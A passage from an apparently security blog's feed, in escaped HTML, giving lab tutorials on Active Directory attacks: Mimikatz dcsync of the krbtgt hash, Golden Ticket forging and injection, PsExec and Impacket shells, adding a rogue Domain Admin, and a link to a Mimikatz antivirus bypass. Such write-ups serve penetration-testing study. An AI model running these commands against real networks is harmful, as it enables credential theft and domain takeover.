id="3-open-an-administrator-terminal-with-the-current-privileges"&gt;&lt;a href="#3-open-an-administrator-terminal-with-the-current-privileges" class="header-anchor"&gt;&lt;/a&gt;3. Open an Administrator Terminal with the Current Privileges&#10;&lt;/h5&gt;&lt;p&gt;Use Mimikatz&amp;rsquo;s &lt;code&gt;misc::cmd&lt;/code&gt; module to open a new window and verify our current privileges.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;misc::cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dir \\192.168.126.10\c$&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0025.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="4-use-psexecexe-to-obtain-an-interactive-shell"&gt;&lt;a href="#4-use-psexecexe-to-obtain-an-interactive-shell" class="header-anchor"&gt;&lt;/a&gt;4. Use PsExec.exe to Obtain an Interactive Shell&#10;&lt;/h5&gt;&lt;p&gt;From the administrator terminal we just created, use PsExec.exe to obtain an interactive shell and create a user belonging to the administrators group.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;A plaintext password can also be used with psexec.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PsExec64.exe \\192.168.0.110 -u Administrator -p Admin@123!@# -s cmd.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;If the ticket is already imported, obtain a shell directly; this step is PTC&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PsExec.exe \\192.168.126.10 cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ipconfig&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;whoami&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net user carmi carmi@123 /add /domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net group &amp;#34;Domain Admins&amp;#34; carmi /add /domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net group &amp;#34;Domain Admins&amp;#34; /domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0026.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0027.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h3 id="ptc-on-linux"&gt;&lt;a href="#ptc-on-linux" class="header-anchor"&gt;&lt;/a&gt;PTC on linux&#10;&lt;/h3&gt;&lt;ol&gt;&#10;&lt;li&gt;Find ticket cache files:&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Default locations&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ls /tmp/krb5cc_*&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ls ~/.krb5cc_*&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="2"&gt;&#10;&lt;li&gt;Import the ticket:&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Set the environment variable; the tool reads KRB5CCNAME, whose value is the cache path&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;export KRB5CCNAME=/tmp/krb5cc_1000&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;klist&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ol start="3"&gt;&#10;&lt;li&gt;Use the ticket:&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Impacket tools&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;psexec.py -k -no-pass test.domain/administrator@dc.test.domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbexec.py -k -no-pass test.domain/administrator@dc.test.domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Main use cases:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Linux joined to a domain environment&lt;/li&gt;&#10;&lt;li&gt;Penetration testing inside a domain&lt;/li&gt;&#10;&lt;li&gt;Cross-platform attacks&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h3 id="8-lab-ptt-pass-the-ticket-golden-ticket"&gt;&lt;a href="#8-lab-ptt-pass-the-ticket-golden-ticket" class="header-anchor"&gt;&lt;/a&gt;8. Lab: PTT (pass-the-ticket) Golden Ticket&#10;&lt;/h3&gt;&lt;h4 id="-introduction-1"&gt;&lt;a href="#-introduction-1" class="header-anchor"&gt;&lt;/a&gt;① Introduction&#10;&lt;/h4&gt;&lt;p&gt;The KDC&amp;rsquo;s job is to generate a TGT for any user. That raises a question: what would let someone generate a TGT for an arbitrary user? We need to look back at the kerberos authentication process. During windows authentication, the client sends its own information to the KDC. The KDC then uses &lt;code&gt;the NTLM hash of the krbtgt user's password&lt;/code&gt; as the encryption key and generates a TGT.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;In one sentence: the TGT is generated by the KDC using the hash of the krbtgt user&amp;rsquo;s password as the key, together with the client&amp;rsquo;s own information.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;So if we obtain the hash of the krbtgt password, can we forge any TGT? Absolutely. However, because krbtgt exists only on the domain controller, using a Golden Ticket (a pass-the-ticket attack) means we must already have compromised the domain controller. A Golden Ticket can therefore be understood as a backdoor.&lt;/p&gt;&#10;&lt;p&gt;The Krbtgt user is generated automatically when the domain controller is created.&lt;/p&gt;&#10;&lt;p&gt;As long as the krbtgt user&amp;rsquo;s password is not changed, a Golden Ticket can be used to create ticket information for any user and inject it into memory.&lt;/p&gt;&#10;&lt;p&gt;Using a Golden Ticket requires communication with the domain controller.&lt;/p&gt;&#10;&lt;h4 id="-prerequisites-1"&gt;&lt;a href="#-prerequisites-1" class="header-anchor"&gt;&lt;/a&gt;② Prerequisites&#10;&lt;/h4&gt;&lt;ul&gt;&#10;&lt;li&gt;Domain name and domain SID (with the rid removed): obtain them with &lt;code&gt;whoami /user&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;Username to forge (the target): obtain it using methods such as &lt;code&gt;net user /domain&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;Hash of the krbtgt user: obtain it using methods such as Mimikatz&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4 id="-information-gathering-2"&gt;&lt;a href="#-information-gathering-2" class="header-anchor"&gt;&lt;/a&gt;③ Information Gathering&#10;&lt;/h4&gt;&lt;p&gt;Use mimkatz to obtain the krbtgt hash (only this step must be performed on the domain controller) =&amp;gt; e798fdc7ba810c372ef7bffcdc8f2d13&lt;/p&gt;&#10;&lt;p&gt;Mimkatz can be finicky, and because of issues with the software, directly pasting Mimikatz content into the command line may fail or even crash the program. We can work around that by generating a log.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;log&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;privilege::debug&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lsadump::dcsync /user:krbtgt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0028.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Domain SID (no privileges are required to retrieve it): &lt;code&gt;whoami /user&lt;/code&gt; =&amp;gt; S-1-5-21-863777703-696496247-1862912240 (the portion after the last hyphen represents the user&amp;rsquo;s privileges, so we only need the first part)&lt;/p&gt;&#10;&lt;p&gt;Username to forge (target): &lt;code&gt;net user /domain&lt;/code&gt; =&amp;gt; Administrator&lt;/p&gt;&#10;&lt;p&gt;Domain name (full domain name): &lt;code&gt;ipconfig /all&lt;/code&gt; =&amp;gt; mao.com&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0029.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h4 id="-exploitation-1"&gt;&lt;a href="#-exploitation-1" class="header-anchor"&gt;&lt;/a&gt;③ Exploitation&#10;&lt;/h4&gt;&lt;p&gt;Run these operations from an administrator window.&lt;/p&gt;&#10;&lt;h5 id="1-clear-existing-tickets"&gt;&lt;a href="#1-clear-existing-tickets" class="header-anchor"&gt;&lt;/a&gt;1. Clear Existing Tickets&#10;&lt;/h5&gt;&lt;p&gt;Existing tickets must be cleared before generating a ticket. As a result, if ticket generation fails, the host will no longer be able to access information in the domain (it effectively leaves the domain).&lt;/p&gt;&#10;&lt;p&gt;After clearing the tickets with &lt;code&gt;kerberos::purge&lt;/code&gt;, you can use kerberos::golden to generate a ticket.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;privilege::debug&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::purge Clear tickets&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0030.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="2-generate-a-ticket"&gt;&lt;a href="#2-generate-a-ticket" class="header-anchor"&gt;&lt;/a&gt;2. Generate a Ticket&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::golden /user:&amp;lt;FORGED_USERNAME&amp;gt; /domain:&amp;lt;FULL_DOMAIN_NAME&amp;gt; /krbtgt:&amp;lt;KRBTGT_USER_HASH&amp;gt; /sid:&amp;lt;DOMAIN_SID&amp;gt; /ticket:&amp;lt;OUTPUT_FILENAME.kirbr&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::golden /user:Administrator /domain:test.local /krbtgt:fc9433a1a38088e6b6b74e2c29cf02bd /sid:S-1-5-21-1304053684-1769385709-786886762-500 /ticket:carmi.kirbr&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0031.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="3-inject-the-ticket"&gt;&lt;a href="#3-inject-the-ticket" class="header-anchor"&gt;&lt;/a&gt;3. Inject the Ticket&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerberos::ptt carmi.kirbr&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0032.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="4-create-a-domain-controller-session"&gt;&lt;a href="#4-create-a-domain-controller-session" class="header-anchor"&gt;&lt;/a&gt;4. Create a Domain Controller Session&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;misc::cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;whoami&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dir \\192.168.126.10\c$&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PsExec.exe \\192.168.126.10 cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ipconfig&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0033.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0034.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/m0_55751267/article/details/127990619" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/m0_55751267/article/details/127990619&lt;/a&gt; explains the principles behind Silver and Golden Tickets.&lt;/p&gt;&#10;&lt;p&gt;This blog post: &lt;a class="link" href="https://xz.aliyun.com/t/13435?time__1311=Gqmxu7G%3D5mq05DK5YK0%3DIouDfxiT277GbD" target="_blank" rel="noopener"&#10; &gt;https://xz.aliyun.com/t/13435?time__1311=Gqmxu7G%3D5mq05DK5YK0%3DIouDfxiT277GbD&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Mimikatz antivirus bypass: &lt;a class="link" href="https://github.com/wangfly-me/mimikatz_bypass/releases/tag/v1.0" target="_blank" rel="noopener"&#10; &gt;https://github.com/wangfly-me/mimikatz_bypass/releases/tag/v1.0&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;References:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mimikatz-cheatsheet/#lsa-protection-workaround" target="_blank" rel="noopener"&#10; &gt;https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mimikatz-cheatsheet/#lsa-protection-workaround&lt;/a&gt;&lt;/p&gt;&#10;</description></item><item><title>Active Directory Pentesting: A Basic Workflow</title><link>http://xtpol.com/p/active-directory-basic-workflow/</link><pubDate>Sun, 17 Nov 2024 12:00:00 +0800</pubDate><guid>http://xtpol.com/p/active-directory-basic-workflow/</guid><description>&lt;h2 id="internal-network-information-gathering"&gt;&lt;a href="#internal-network-information-gathering" class="header-anchor"&gt;&lt;/a&gt;Internal Network Information Gathering&#10;&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;span class="lnt"&gt;41&#10;&lt;/span&gt;&lt;span class="lnt"&gt;42&#10;&lt;/span&gt;&lt;span class="lnt"&gt;43&#10;&lt;/span&gt;&lt;span class="lnt"&gt;44&#10;&lt;/span&gt;&lt;span class="lnt"&gt;45&#10;&lt;/span&gt;&lt;span class="lnt"&gt;46&#10;&lt;/span&gt;&lt;span class="lnt"&gt;47&#10;&lt;/span&gt;&lt;span class="lnt"&gt;48&#10;&lt;/span&gt;&lt;span class="lnt"&gt;49&#10;&lt;/span&gt;&lt;span class="lnt"&gt;50&#10;&lt;/span&gt;&lt;span class="lnt"&gt;51&#10;&lt;/span&gt;&lt;span class="lnt"&gt;52&#10;&lt;/span&gt;&lt;span class="lnt"&gt;53&#10;&lt;/span&gt;&lt;span class="lnt"&gt;54&#10;&lt;/span&gt;&lt;span class="lnt"&gt;55&#10;&lt;/span&gt;&lt;span class="lnt"&gt;56&#10;&lt;/span&gt;&lt;span class="lnt"&gt;57&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. User list net user /domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows user list: analyze email users; internal [domain] email users are usually internal [domain] users&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. Process list tasklist /svc&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Analyze antivirus/security monitoring tools, email clients, VPN, FTP, etc.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. Service list&#9;tasklist /svc&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Security-related services [determine whether they can be manually enabled or disabled] and vulnerable services [permissions/vulnerabilities]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;4. Port list&#9;netstat -ano&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Common services/applications on open ports [anonymous access/permissions/vulnerabilities, etc.]; use ports for information gathering&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;5. Patch list&#9;systeminfo&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Analyze Windows patches and vulnerabilities in third-party software [Java/Oracle/Flash, etc.]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;6. Local shares&#9;smbclient -L ip&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9; net user \\ip\c$&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Local share list/access permissions and domain shares accessed by the local host/access permissions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;7. Analyze the current user&amp;#39;s 